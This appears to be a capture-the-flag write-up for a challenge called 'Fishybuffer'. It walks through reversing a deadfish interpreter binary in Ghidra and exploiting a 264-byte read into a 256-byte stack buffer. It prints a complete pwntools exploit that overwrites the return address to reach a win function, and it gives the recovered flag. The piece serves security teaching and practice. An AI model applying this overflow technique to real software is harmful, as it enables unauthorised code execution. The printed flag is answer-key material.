Fishybuffer

21 Feb 2023

Learned about this programming language called deadfish but it can’t do anything interesting. You can’t even call a function in deadfish! Therefore, I’m super confident my flag will remain safe & secure.

Tools

Procedure

Lets begin! So we unzip the challenge and it comes with an ELF file named deadfish. So, lets be the most responsible hackers ever and run this un-sandboxed on my bare metal computer~!

1
2
DEADFISH INTERPRETER, READING YOUR PROGRAM IN AT 0x7ffca1ba9c00:
asdlhfadf

Well, it looks like the file outputs a bit of text and takes some input. At the end it seems to print an address of some sort. Given what it says, perhaps that is the function address? A buffer overflow attack might be viable here. For that, we gotta open it in ghidra.

Analysing it, we can see that the main program calls a function read_program which prints out the text and reads in 0x108 bytes of data. It then passes that into a verify_program function which seems to check some random if else statements?, but wait. The program is called deadfish, perhaps it means something more?

Ahh, of course. They would put the deadfish esoteric language into a challenge wouldn’t they?

Anyways, it looks like that function verifies that the input is valid deadfish.

Lastly, it calls a function execute which seems to do some logical operations before returning.

I also see a win function that looks ripe for exploit, you known, with the __fd = open("./flag.txt",0); and all.

Buffers

Allright, so we are taking input; how can we exploit this?

Ohh? You mean to say that deadfish is reading in 0x108 bytes but only has storage for 256 bytes? Wait, I don’t know hex… Python says that is 264 bytes! Looks like we have an overflow exploit.

Although, it seems like we have a slight issue, when checking the binary symbols, NX is enabled which means we cannot just execute arbitrary instructions at the end of the function… ohh darn~!

Luckily, there are other ways to achieve what we want.

First off, we should start setting up the pwn script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *

# Start Process
p = process("./deadfish")

# Get output from the function and save to variable
line = p.recvline()

# Get the stack address printed from the function
stack_addr = int(line.split()[-1][:-1], 16)

# Get the win function address from the binary
binary = ELF("deadfish")
win_addr = binary.symbols["win"]

Alright, lets unpack this. We start out setting up pwn tools to attach to our binary. Pretty standard stuff. Next, we need to take the output of the binary and store it. It has an address that we will need for our exploit. We can use some python to grab the hex output and store it as an integer.

After that, we also need to find the function address of the win function. Since I am lazy, we can just open the binary with the ELF command and set win_addr to the output of the symbol for win. In small words, we are having python find the address for us instead of wasting precious time and brainpower Like they always say, why spend 30s on a task when you could spend 5 minutes automating it.

Awesome! Looks like we are getting closer, we have all the information we need to construct the payload, so lets!

First off, we know from earlier that we have 8 bytes of overflow to work with. Lovely! Tis just enough to overwrite the return address. So Lets do a little bit of trickery.

We know that at first we need a little bit of valid deadfish because some genius thought that was a wonderful idea. We can do about 8 bytes of that; however!, we need to null terminate it so that when it tries to read the string, it stops before the payload. Lowercase i is a valid deadfish instruction, so…. 7 of them plus a null character gets us our 8 bytes.

Next we need to put the win address. Why you might ask? I don’t know either Tis because when computers were created the stack grew downwards in memory, so when we later rewrite the return address with the stack address (the start of this current function), we will need to have our next jump be here to go to the win function.

Well, we can’t just write the win function yet, it needs to be overwriting the return address… so, time for a bit of BUFFER!

Since we need 16 bytes for the stack address and the win address, that means we need 240 bytes of buffer.

And, since we are now at the last 8 bytes, we can put the stack address here, which completes the payload. It looks like this:

1
2
3
4
5
# Build Payload
payload = b'i'*7 + b'\0' 
payload += p64(win_addr) 
payload += b'A'*240 
payload += p64(stack_addr)

Solve

That would be the completed payload. When it is all put into one script it looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# Start Process
p = process("./deadfish")

# Get output from the function and save to variable
line = p.recvline()

# Get the win function address from the binary
binary = ELF("deadfish")
win_addr = binary.symbols["win"]

# Get the stack address printed from the function
stack_addr = int(line.split()[-1][:-1], 16)

# Build Payload
payload = b'i'*7 + b'\0' 
payload += p64(win_addr) 
payload += b'A'*240 
payload += p64(stack_addr) 

p.sendline(payload)

p.interactive()

If we replace the process with the remote connection, it prints out:

1
2
3
4
5
6
7
8
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
osu{wh0_says_d3adf1sh_ha5_n0_c0ntr0l_fl0w?}
[*] Got EOF while reading in interactive

There we go, the flag is osu{wh0_says_d3adf1sh_ha5_n0_c0ntr0l_fl0w?}

Related
Security · Linux